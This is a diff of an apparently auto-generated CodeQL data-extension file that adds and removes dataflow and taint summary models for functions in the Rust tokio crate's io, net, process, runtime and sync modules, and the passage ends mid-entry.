@@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::blocking::Blocking::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bytes", "Argument[self].Field[crate::io::blocking::Buf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from_bufs", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::blocking::pool::SpawnError::NoThreads(0)]", "ReturnValue", "value", "dfc-generated"] @@ -68,8 +60,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader_mut", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer_mut", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::registration", "Argument[self].Field[crate::io::poll_evented::PollEvented::registration]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance_mut", "Argument[0]", "Argument[self]", "taint", "df-generated"] @@ -102,6 +92,7 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_stream::BufStream::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::buf]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -149,7 +140,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::apply_read_buf", "Argument[0].Field[crate::io::util::vec_with_initialized::ReadBufParts::initialized]", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::num_initialized]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32Le::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64::dst]", "value", "dfc-generated"] @@ -174,36 +164,34 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64Le::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::dst]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::byte]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::loom::std::barrier::Barrier::num_threads]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::loom::std::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_buf", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::read_write]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::read_write]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read_write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -226,7 +214,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self].Field[crate::net::unix::ucred::UCred::uid]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::net::unix::socketaddr::SocketAddr(0)]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::process::Command::std]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -250,7 +237,8 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::process::imp::pidfd_reaper::PidfdReaper::orphan_queue]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::process::imp::reap::Reaper::orphan_queue]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue.Field[crate::process::imp::reap::Reaper::signal]", "value", "dfc-generated"] @@ -333,7 +321,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -351,7 +338,11 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_notified", "Argument[self].Field[crate::runtime::task::UnownedTask::raw]", "ReturnValue.Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[3]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::cancelled", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task::error::JoinError::id]", "ReturnValue", "value", "dfc-generated"] @@ -375,21 +366,15 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::time::entry::TimerHandle::inner]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerHandle::inner]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::time_source", "Argument[self].Field[crate::runtime::time::handle::Handle::time_source]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_time", "Argument[self].Field[crate::runtime::time::source::TimeSource::start_time]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::tick_to_duration", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::elapsed", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_at", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::wheel::level::Level::level]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self].Field[crate::runtime::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::runtime::time::wheel::level::Expiration::level]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take_slot", "Argument[self].Field[crate::runtime::time::wheel::level::Level::slot].Element", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::signal::registry::Globals::extra]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::storage", "Argument[self].Field[crate::signal::registry::Globals::registry].Field[crate::signal::registry::Registry::storage]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] @@ -402,7 +387,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[0]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::num_permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::semaphore]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -415,8 +399,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::chan]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::bounded::Permit::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -436,7 +418,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::WeakSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::WeakSender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] @@ -453,13 +434,11 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] @@ -481,7 +460,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::AlreadyInitializedError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::InitializingError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::const_with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write", "Argument[self].Field[crate::sync::rwlock::RwLock::mr]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::permits_acquired]", "value", "dfc-generated"] @@ -535,7 +513,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_owned", "Argument[self]", 